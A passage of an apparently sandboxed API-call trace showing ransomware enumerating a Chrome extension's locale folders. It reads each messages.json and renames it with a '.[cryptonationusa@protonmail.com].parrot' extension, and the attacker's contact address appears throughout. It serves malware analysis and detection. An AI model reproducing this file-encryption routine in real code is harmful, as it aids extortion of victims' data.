lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.732] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.732] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841a6fb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a96c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841a96c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.732] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.732] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.732] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841a96c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a96c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.735] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.735] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.735] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.736] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.736] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd0, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd0, lpOverlapped=0x0) returned 1 [0070.737] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.739] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.740] CloseHandle (hObject=0x28c) returned 1 [0070.740] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.741] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da218 | out: hHeap=0x5b0000) returned 1 [0070.741] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67cf70 | out: hHeap=0x5b0000) returned 1 [0070.741] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.742] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.742] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841a6fb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7a54a80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7a54a80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.742] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841a96c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a96c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7a54a80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.742] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.742] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.742] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ae4e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b0bf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841b0bf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.742] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.743] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.743] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841b0bf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b0bf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.743] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f5, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.743] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.743] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.744] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.744] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xdd, lpOverlapped=0x0) returned 1 [0070.744] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.744] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.744] CloseHandle (hObject=0x28c) returned 1 [0070.745] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da218 | out: hHeap=0x5b0000) returned 1 [0070.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67d258 | out: hHeap=0x5b0000) returned 1 [0070.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.746] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.747] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ae4e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7a54a80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7a54a80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.747] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841b0bf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b0bf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7a54a80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.747] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.747] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.747] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841b5a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b8120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841b8120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.747] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.747] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.747] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841b8120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b8120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbcc13a00, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0xbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.749] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d7, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.749] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.749] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.750] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.750] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xbf, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xbf, lpOverlapped=0x0) returned 1 [0070.750] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.751] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.751] CloseHandle (hObject=0x28c) returned 1 [0070.751] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da1d8 | out: hHeap=0x5b0000) returned 1 [0070.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67d3e0 | out: hHeap=0x5b0000) returned 1 [0070.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.753] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.753] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841b5a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7a7abe0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7a7abe0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.753] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841b8120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b8120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7a7abe0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.753] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.753] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.753] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841bcf40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841bf650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841bf650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.753] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.753] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.753] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841bf650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841bf650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.754] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e9, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.754] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.754] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.755] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.755] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd1, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd1, lpOverlapped=0x0) returned 1 [0070.755] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.755] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.755] CloseHandle (hObject=0x28c) returned 1 [0070.755] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da218 | out: hHeap=0x5b0000) returned 1 [0070.757] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.757] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841bcf40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7a7abe0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7a7abe0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.757] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841bf650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841bf650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7a7abe0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.757] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.758] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.758] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841c6b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841c9290, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841c9290, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.758] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.758] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.758] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841c9290, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841c9290, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.760] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ed, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.760] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.760] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.761] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.761] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd5, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd5, lpOverlapped=0x0) returned 1 [0070.761] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.761] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ed, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.761] CloseHandle (hObject=0x28c) returned 1 [0070.762] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 